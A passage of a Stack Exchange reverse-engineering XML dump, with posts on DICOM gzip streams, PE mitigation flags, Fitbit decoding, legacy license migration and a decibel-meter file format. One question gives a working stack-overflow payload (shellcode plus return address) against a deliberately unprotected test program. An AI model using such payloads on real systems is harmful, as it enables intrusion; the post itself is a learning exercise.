(&lt;code&gt;file1000.gz&lt;/code&gt; &amp;amp; &lt;code&gt;file1002.gz&lt;/code&gt; were taken from the same DICOM file). From another DICOM file I found that the second fake gzip stream was (bitwise) identical to &lt;code&gt;file1002.gz&lt;/code&gt;, so I only uploaded &lt;code&gt;file1000_other1.gz&lt;/code&gt; (same goes for &lt;code&gt;file1000_other2.gz&lt;/code&gt;, &lt;code&gt;file1000_other3.gz&lt;/code&gt; and &lt;code&gt;file1000_other4.gz&lt;/code&gt;). So maybe &lt;code&gt;file1002.gz&lt;/code&gt; is a bit special here. Since I do not have physical access to the MRI workstation that produces those images, I can only do brute-force approach here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: I did check that the files are not simply a deflate codestream with broken header using &lt;a href=&quot;https://github.com/malaterre/MRPicker/blob/master/unz.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;unz.py&lt;/a&gt; and &lt;a href=&quot;https://github.com/malaterre/MRPicker/blob/master/runme.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;runme&lt;/a&gt; (&lt;code&gt;binwalk -X&lt;/code&gt; did not reveal anything either). So they are not direct simple &lt;code&gt;gzip&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update2: I did try to read the stream backwards using this &lt;a href=&quot;https://github.com/malaterre/MRPicker/blob/master/reverse.cxx&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt; but again this still does not look like a deflate stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update3: So far, all streams I found have proper gzip header, and they all finish with 4 zeros (0) bytes, just like any valid gzip. I should be able to recover the file using the &lt;a href=&quot;https://stackoverflow.com/a/11557033/136285&quot;&gt;last 4 bytes&lt;/a&gt; since they are used to store a crc32 (as per gzip RFC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update4: Thanks to help here, I discover those private tags are actually slightly &lt;a href=&quot;http://incenter.medical.philips.com/doclib/enc/fetch/2000/4504/577242/577256/588723/5144873/5144488/5144984/DICOM_Conformance_Statement_ViStar%2C_Twinstar_and_Montage_Workstations.pdf%3Fnodeid%3D5148306%26vernum%3D1&quot; rel=&quot;nofollow noreferrer&quot;&gt;documented&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Table A.2.1.2.1.3-3 Private Elements for MR Scanner or MR Workstation Images&#xA;When exporting Marconi MR Scanner or MR Workstation images the following&#xA;private elements may be included.&#xA;&#xA;Tag Name Value Representation&#xA;7101,0010 Private MR Creator Data element LO&#xA;7101,1000 MR Processing Field 1 OB&#xA;7101,1001 MR Processing Field 1 Length SL&#xA;7101,1002 MR Processing Field 2 OB&#xA;7101,1003 MR Processing Field 2 Length SL&#xA;7101,1004 Scan Duration SH&#xA;7101,1005 MR Processing Field 3 SH&#xA;7101,1006 MR Processing Field 4 SH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did check that the length of the extracted fake-gzip actually match the value stored in the associated attribute (so length for attribute 7101,1000 match value stored in attribute 7101,1001, and length for attribute 7101,1002 matches value stored in attribute 7101,1003). For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdcmdump input3.dcm&#xA;[...]&#xA;(07a1,0010) ?? (LO) [ELSCINT1]                                    # 8,1 Private Creator&#xA;(07a1,1013) ?? (UL) 62940                                         # 4,1 ?&#xA;(7101,0000) ?? (UL) 24242                                         # 4,1 Generic Group Length&#xA;(7101,0010) ?? (LO) [Picker MR Private Group ]                    # 24,1 Private Creator&#xA;(7101,1000) ?? (OB) 1f\8b\08\00\00\00\00\00\02\00\14\5d\4b\8d\db\48\6e\3e\ec\53\4f\7b\28\c3\1e\ef\8c\d8\2d\86\e8\86\57\01\c9\d9\96\4a\bd\76\45\35\92\99\dc\33\e5\1b\08\78\04\25\94\93\04\f3\80\7a\03\fa\cd\34\02\40         # 10784,1 ?&#xA;(7101,1001) ?? (SL) 10784                                         # 4,1 ?&#xA;(7101,1002) ?? (OB) 1f\8b\08\00\00\00\00\00\02\00\14\3c\6d\8d\da\48\6d\9f\93\a1\31\e5\9c\2f\f6\6b\c1\48\44\d8\9e\26\67\ab\78\8d\1d\8a\6d\a0\80\6c\36\31\dd\95\b6\96\84\2f\13\90\a8\49\d8\0f\fe\fa\15\97\19\97\24\c0         # 13328,1 ?&#xA;(7101,1003) ?? (SL) 13328                                         # 4,1 ?&#xA;(7101,1004) ?? (SH) [00:48 ]                                      # 6,1 ?&#xA;(7101,1005) ?? (SH) [ECHO\CARDIAC]                                # 12,2 ?&#xA;(7101,1006) ?? (SH) [115204\4187\0\0 ]                            # 16,4 ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update5: DICOM can only stores even-bytes length as attribute. One fake-gzipped stream was actually padded to the next even length, but the actual length reported in 7101,1001 was odd (10765). I've updated &lt;code&gt;file1000_other4.gz&lt;/code&gt; to have the proper length (the trailing bytes are not anymore &lt;code&gt;03 00 00 00&lt;/code&gt;, but &lt;code&gt;0B 03 00 00&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-01-28T11:29:34.900" Title="What kind of compression/obfuscation algorithm is this?" Tags="|deobfuscation|decompress|binary-format|xor|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="2" ParentId="9293" CreationDate="2015-07-06T14:36:35.313" Score="7" Body="&lt;p&gt;&lt;strong&gt;NX:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp;amp; IMAGE_DLLCHARACTERISTICS_NX_COMPAT != 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ASLR:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp;amp; IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE != 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SAFESEH:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0)&#xA;&amp;amp;&amp;amp; (IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size != 0 )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CFG:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER.DllCharacteristics &amp;amp; IMAGE_DLLCHARACTERISTICS_GUARD_CF != 0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-06T14:36:35.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9298" PostTypeId="1" CreationDate="2015-07-06T20:16:07.240" Score="4" ViewCount="3495" Body="&lt;p&gt;I have followed the example &lt;a href=&quot;https://www.exploit-db.com/papers/24085/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my sample program, &quot;oldskool.c&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;void go(char *data) {&#xA;    char name[64];&#xA;&#xA;    strcpy(name, data);&#xA;}&#xA;&#xA;int main (int argc, char **argv) {&#xA;    go(argv[1]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have compiled this program using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also switched ASLR off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using gdb's x/gx $rsp, I verified that passing in an argument of &lt;code&gt;perl -e 'print &quot;A&quot;x80'&lt;/code&gt; will overwrite the SIP exactly. Here is the output of p &amp;amp;name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$1 = (char (*)[64]) 0x7fffffffddc0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then took the example shellcode, and adding the padding and the SIP, came up with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./oldskool `perl -e 'print &quot;\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21&quot; . &quot;A&quot;x27 . &quot;\xc0\xdd\xff\xff\xff\x7f&quot;'`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this, however, I get an &quot;Illegal Instruction&quot; error. Here's what gdb will tell me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Starting program: /path/to/oldskool `perl -e 'print &quot;\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21&quot; . &quot;A&quot;x27 . &quot;\xc0\xdd\xff\xff\xff\x7f&quot;'`&#xA;&#xA;Program received signal SIGILL, Illegal instruction.&#xA;0x00007fffffffddc0 in ?? ()&#xA;&#xA;(gdb) x/10i 0x7fffffffddc0&#xA;=&amp;gt; 0x7fffffffddc0:  (bad)  &#xA;   0x7fffffffddc1:  (bad)  &#xA;   0x7fffffffddc2:  (bad)  &#xA;   0x7fffffffddc3:  incl   (%rax)&#xA;   0x7fffffffddc5:  add    %al,(%rax)&#xA;   0x7fffffffddc7:  add    %ah,-0x1e(%rcx)&#xA;   0x7fffffffddcd:  jg     0x7fffffffddcf&#xA;   0x7fffffffddcf:  add    %ch,%bl&#xA;   0x7fffffffddd1:  and    0x31(%rax),%cl&#xA;   0x7fffffffddd4:  rorb   $0xff,0x31(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any clue as to what is causing this error? &lt;/p&gt;&#xA;" OwnerUserId="12946" LastActivityDate="2015-10-18T12:09:16.980" Title="Illegal Instruction on sample Buffer Overflow exploit" Tags="|linux|exploit|shellcode|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostTypeId="2" ParentId="8345" CreationDate="2015-07-07T19:24:11.037" Score="0" Body="&lt;p&gt;this is not really an answer but some more info on the topic someone may find usefull...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i decompiled the fitbit apk for android and found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/2uxKd6WK&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/2uxKd6WK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought i was getting somewhere, possibly a way to decode the bytes sent by the server you posted above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        byte[] b(byte abyte0[])&#xA;        {&#xA;            char ac[] = (new String(abyte0)).toCharArray();&#xA;            ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();&#xA;            int i1 = ac.length;&#xA;            for (int j1 = 0; j1 &amp;lt; i1; j1 += 2)&#xA;            {&#xA;                Object aobj[] = new Object[2];&#xA;                aobj[0] = Character.valueOf(ac[j1]);&#xA;                aobj[1] = Character.valueOf(ac[j1 + 1]);&#xA;                bytearrayoutputstream.write(Integer.parseInt(String.format(&quot;%c%c&quot;, aobj), 16));&#xA;            }&#xA;&#xA;            return bytearrayoutputstream.toByteArray();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to make any sense, or at least i don't see how this part can possibly make a valid hex and then a byte out of those two char:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bytearrayoutputstream.write(Integer.parseInt(String.format(&quot;%c%c&quot;, aobj), 16));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put some code that can be run online in here:&#xA;&lt;a href=&quot;http://ideone.com/UaOzpI&quot; rel=&quot;nofollow&quot;&gt;http://ideone.com/UaOzpI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somebody can make sense out of it please answer!&lt;/p&gt;&#xA;" OwnerUserId="12950" LastActivityDate="2015-07-07T19:24:11.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9301" PostTypeId="1" AcceptedAnswerId="9307" CreationDate="2015-07-08T09:20:19.100" Score="-3" ViewCount="851" Body="&lt;p&gt;I have some questions about reverse engineering:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What do I need for studying RE?&lt;/li&gt;&#xA;&lt;li&gt;Should I know all of programing languages to study RE? (I only intend to reverse Android and Window PC applications for studying)&lt;/li&gt;&#xA;&lt;li&gt;Do I need any specific application to do it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Oh, I did some searching on internet. However, it is too complex, and I cannot understand, especially Wikipedia. So, I would be really grateful if you guys could make it simple enough to understand.&lt;/p&gt;&#xA;" OwnerUserId="12954" LastEditorUserId="53" LastEditDate="2015-07-08T13:53:27.887" LastActivityDate="2015-07-09T16:15:42.253" Title="What kind of knowledge do I need for Reverse Engineering?" Tags="|windows|android|" AnswerCount="2" CommentCount="2" ClosedDate="2015-07-10T16:25:26.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="3457" CreationDate="2015-07-08T13:48:38.770" Score="0" Body="&lt;p&gt;try use &lt;a href=&quot;https://github.com/drvink/epanos&quot; rel=&quot;nofollow&quot;&gt;https://github.com/drvink/epanos&lt;/a&gt;&lt;br&gt;&#xA;from project page &lt;code&gt;ElectroPaint Automatic No-source Object reaSsembler (a MIPS to C decompiler)&#xA;This is a very dumb MIPS to C static translator. Consider it a proof of concept, as it has successfully worked&lt;/code&gt; &#xA;The decompiler depends on IDA pro  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best way is use IDA PRO &amp;amp; your brain   &lt;/p&gt;&#xA;" OwnerUserId="12693" LastEditorUserId="12693" LastEditDate="2015-07-08T20:52:18.360" LastActivityDate="2015-07-08T20:52:18.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9303" PostTypeId="1" CreationDate="2015-07-08T15:59:14.203" Score="2" ViewCount="2013" Body="&lt;p&gt;When using Watch List(Debugger-&gt;Watches-&gt;Add watch) in IDA Pro, I want to add a memory scope(data size(db) , data length(18)) into Watch List.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA always only add a dword byte(data size(dd) , data length(1)) into Watch List by default, so how can I get Watch List to work as I want?&lt;/p&gt;&#xA;" OwnerUserId="12955" LastActivityDate="2020-09-14T04:37:39.533" Title="IDA Pro: How to set data size and data length in &quot;Watch List&quot;" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9304" PostTypeId="1" CreationDate="2015-07-08T18:44:06.343" Score="0" ViewCount="2486" Body="&lt;p&gt;I want to start off by apologizing because I am not a software engineer so it is quite possible that what I ask cannot be done, I looked up the wrong thing, or I just don't understand what I am talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work for a school that is running an old program and ID printing machine connected to a WinXP machine. We are wanting to upgrade to another computer we have that is running Win7, but we do not have the CD for the software nor do we have the installation key. The company that the school originally bought the products from no longer has this software and has discontinued the ID printer that we have. Although buying a new printer and software is an option (an expensive option), I would like to help the school save money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked it up online for a little bit now and saw that there are ways of getting the installation key to a software by creating a keygen, but that is while the software is installed using a free trial so that they could activate it. Could this be done for a program that has already been activated with a License key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt the school district will want to make any purchases for programs for me to use (again going back to saving money), so I was hoping that someone here could help me figure this out that is free and legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What want I want to do is to be able to reverse engineer the software to be an executable so that I can install it onto the computer running Win7 and I would also like to be able to extract the license key that was used to install the program in the first place on the WinXP machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at recovery programs that could recover license keys such as Magical Jelly Bean Recover Keys and a few others, but under the listings for what keys they can retrieve, I could not find the software that we have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a free and legal way to do this, that would be awesome. But if I personally need to shell out a few bucks to get this to work, I think I will be alright with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am wrong for posting here, not clear on what I would like to do, or what I want to do cannot be done, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all in advance!&lt;/p&gt;&#xA;" OwnerUserId="12956" LastActivityDate="2015-07-10T11:34:16.980" Title="Getting License Key from Installed Program and Making Installed Program an Executable Installer" Tags="|executable|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="2" ParentId="9301" CreationDate="2015-07-08T19:21:04.050" Score="0" Body="&lt;p&gt;I think, in my humble opinion, you will need (based on my experience):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dedicated Internet Link&lt;/li&gt;&#xA;&lt;li&gt;Physical equipment as architecture (x86, x86-64, arm, mips and others)&lt;/li&gt;&#xA;&lt;li&gt;Storage (to store samplers)&lt;/li&gt;&#xA;&lt;li&gt;Tools - IDA Pro Freeware, gdb, radare2, etc.&lt;/li&gt;&#xA;&lt;li&gt;VM (Windows, Linux, Android, IOS, etc)&lt;/li&gt;&#xA;&lt;li&gt;Time to study and learn.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's more, I quickly remember more of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="11951" LastEditorUserId="53" LastEditDate="2015-07-09T16:15:42.253" LastActivityDate="2015-07-09T16:15:42.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9307" PostTypeId="2" ParentId="9301" CreationDate="2015-07-08T19:28:06.340" Score="0" Body="&lt;p&gt;These suggestions may help. One sure way of becoming a better reverse engineer is to become a better &quot;forward engineer&quot;! Here's what I would suggest:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Time to study and learn (again..:).&lt;/li&gt;&#xA;&lt;li&gt;Examine the assembly output of various compilers. Write test programs of increasing complexity and examine the assembly language output so that you get a sense of what the compiler does for any given high level construct.&lt;/li&gt;&#xA;&lt;li&gt;Try running binaries through a decompiler. This will allow you to see how those same programs are interpreted by a tool and allow you to begin to see the kinds of errors that the tools make.&lt;/li&gt;&#xA;&lt;li&gt;Try completely reverse engineering a small project. It's not hard to find source code for all kinds of things these days. Pick an open source project that you are not familiar with, compile it without peeking at the code and try to reverse engineer it entirely. Alternatively, try reverse engineering some particular routine or aspect (which is more usual).&lt;/li&gt;&#xA;&lt;li&gt;Try to write code to fool the decompiler. Open source projects typically don't take any anti-disassembly measures but other kinds of software (e.g. malware) often does. Learn these techniques in the forward direction and then look at the results with your reverse engineering tools. You'll get a feel for which techniques are successful and why.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's more, I quickly remember more of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@firebitsbr&lt;/p&gt;&#xA;" OwnerUserId="11951" LastActivityDate="2015-07-08T19:28:06.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9308" PostTypeId="2" ParentId="9304" CreationDate="2015-07-08T20:54:46.260" Score="1" Body="&lt;p&gt;I'm not going into any legal issues, as these depend a lot on the EULA you have with the vendor, and your jurisdiction as well - in the EU, reverse-engineering the software to make it work on new hardware &lt;em&gt;may&lt;/em&gt; be legal, with this law overriding any EULA restrictions. Let's assume, for the moment, that the company you got the software from tells you they're ok with anything. Since they stopped selling the software and the printer model, they probably don't care - but then, they might refuse to be reasonable since they want to sell new systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any serious reverse engineering would have to be done by someone who is highly knowledgable in the field and i doubt this person could be you, since you aren't a software engineer. Hiring someone would, very likely, be more expensive than buying a new system. So unless you have several dozen of these software/hardware combinations used all around your school district, reverse-engineering probably won't help you save cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there might be some easy-to-try things that &lt;em&gt;could&lt;/em&gt; work, depending on how serious the copy protection is. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some protections, like that of windows itself, use a lot of the internal hardware and serial numbers to detect if they've been moved to something different. If your software is like this, you can more or less forget the whole thing. Yes, people have cracked windows, but selling a few million copies of windows 10 for 5$ each is a larger incentive than yours.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The copy protection might be tied to a specific piece of hardware or your installation, like a serial number in your printer, the MAC address of your network adapter, or the raw disk block number where a specific file is stored. You could have a good chance to turn your whole machine into a guest of a virtualizer like VMWare or VirtualBox, with the software unable to detect that; however, this depends a bit on whether or not you can route the printer hardware to the guest - you can if it's an USB connector, you can't if it's centronics. &lt;a href=&quot;http://www.addictivetips.com/windows-tips/convert-use-your-physical-machine-in-vmware-virtualbox-virtual-pc/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a tutorial how to do this. Note you should get a bit experience with virtualized guests first before trying this on your &quot;only known good&quot; installation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There might be no copy protection at all, just a few files and registry keys that have to be there. There are plenty of older softwares floating around where you had to enter a license key upon installation, which you could re-use on as many machines as you wanted to, the protection being that the vendor knew which license key they gave to whom so they'd be able to trace rogue versions to their origin. In this case, the only thing you have to find out which files and registry keys to copy. &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;Procmon&lt;/a&gt; is a great tool for that. You could run it while you start your software, filter on your executable name, use it to find which files  (probably all in the same directory) and registry keys it accesses, then copy these files and keys to the new machine. Start the program on the new machine. If it doesn't work, compare the procmon output of the old and new machine to find which mistakes you might have made or which files might be missing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This more or less exhausts the possibilities that you have without being a software engineer. Everything that goes beyond this requires the ability to understand compiled code, and anyone who can do this well enough can write code as well, which doesn't exactly make them a software engineer, but comes close enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, i found virtualizing the best way to get old installations running on new hardware, so i'd try turning the whole XP machine into a VM, and use VirtualBox, which is free, to run it on the Win7 machine. Once you have some experience with virtualizing, this is much less a hassle than trying the copy-files-and-registry-keys stuff. But, as i said, this works only if you have a way to interface the ID printer to the virtual guest.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-08T20:54:46.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9309" PostTypeId="1" CreationDate="2015-07-08T21:04:28.543" Score="5" ViewCount="1477" Body="&lt;p&gt;I bought a decibel meter off amazon recently (&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00CPKSE38&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.amazon.com/Sound-Measure-Tester-Pressure-Decibel/dp/B00CPKSE38/ref=sr_1_1?ie=UTF8&amp;amp;qid=1436376590&amp;amp;sr=8-1&amp;amp;keywords=wensn&lt;/a&gt;) which outputs db measurements to a microsd card. I opened the sd card's content on my computer and encountered four separate *.wsn files, two of which I created and the other two apparently made by the manufacturer in testing perhaps. Anyway, did a google search for the .wsn file extension and can't find anything but something called a &quot;whoopsie skin file&quot; which doesn't appear to be what I'm looking for. Can anyone help me find a way to parse this file? I imagine it simply contains a table of information with two columns (db level and time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link to a sample of the file. It is time series data for just a couple of seconds from the decibel meter.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B0yWXI3LgLr4ME1DeUs4SDFMX1E/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B0yWXI3LgLr4ME1DeUs4SDFMX1E/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;The db measurement device's manufacturer is &quot;wensn&quot;, which clearly accounts for the file name extension. I've found two leads so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wensn.com/html_products/digital-Sound-level-meter-WS1361-17.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manufacture website for device (not very helpful, in fact it has been HACKED)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensource.ebswift.com/RaspiMonitor/wensn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;reverse engineering wensn usb stream data (pretty advanced stuff)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jeroensteenhuis/wensn&quot; rel=&quot;nofollow noreferrer&quot;&gt;wensn usb stream github parsing project in python&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but both are for parsing usb streams of *.tmp files from the device, rather than the static wsn files. I'm guessing I could utilize this code to parse the wsn files, but I don't know how to do that yet. Honestly I'm in way over my head at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first posted this question meta.stackexchange, you can find that discussion &lt;a href=&quot;https://meta.stackexchange.com/questions/260286/i-have-a-mysterious-bytecode-executable-file-whose-extension-is-nowhere-on-th?noredirect=1#comment848624_260286&quot;&gt;here&lt;/a&gt;. The expected output data is columnar, time and decibel level, as seems to be indicated &lt;a href=&quot;http://opensource.ebswift.com/RaspiMonitor/wensn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2:&#xA;I think there may be a way to decode this file using the '&lt;a href=&quot;http://www.sigrok.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;sigrok&lt;/a&gt;' utility, which is used to read all sorts of serial outputs from scientific sensors.&lt;/p&gt;&#xA;" OwnerUserId="12958" LastEditorUserId="-1" LastEditDate="2017-03-20T10:32:31.907" LastActivityDate="2017-01-25T17:54:24.933" Title="Mysterious bytecode (executable?) file from a chinese decibel meter whose manufacturer has been hacked &amp;/or gone bankrupt" Tags="|executable|byte-code|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="2" ParentId="9309" CreationDate="2015-07-08T21:40:30.297" Score="3" Body="&lt;p&gt;This is the file in hex format (done with vi and &lt;code&gt;:%!xxd&lt;/code&gt;; I added the column numbers  myself):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          0 1  2 3  4 5  6 7  8 9  a b  c d  e f&#xA;0000000: 1fda 51a0 195a 52a0 19da 52a0 285a 53a0  ..Q..ZR...R.(ZS.&#xA;0000010: 28da 53a0 245a 54a0 1ada 54a0 2a5a 55a0  (.S.$ZT...T.*ZU.&#xA;0000020: 26da 55a0 265a 56a0 08da 56a0 475a 57a0  &amp;amp;.U.&amp;amp;ZV...V.GZW.&#xA;0000030: 35da 57a0 325a 58a0 3bda 58a0 0a         5.W.2ZX.;.X..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the bytes with odd indexes are all &lt;code&gt;da&lt;/code&gt;, &lt;code&gt;a0&lt;/code&gt;, &lt;code&gt;5a&lt;/code&gt;, &lt;code&gt;a0&lt;/code&gt;, with a period of 8 bytes (half a line). This doesn't look like the &lt;a href=&quot;http://opensource.ebswift.com/RaspiMonitor/wensn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;data on the usb stream&lt;/a&gt;, so that link or the Python project are probably not going to help you much:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/del2B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, there seems to be a counter in columns &lt;code&gt;2&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt;: &lt;code&gt;51&lt;/code&gt;, &lt;code&gt;52&lt;/code&gt;, &lt;code&gt;53&lt;/code&gt;, ... The bytes in columns &lt;code&gt;6&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; are the same. The bytes in column &lt;code&gt;e&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; are also the same, but with 2 difference, showing us that this part is not very well aligned. A nicer alignment to further reverse engineer would be to shift column 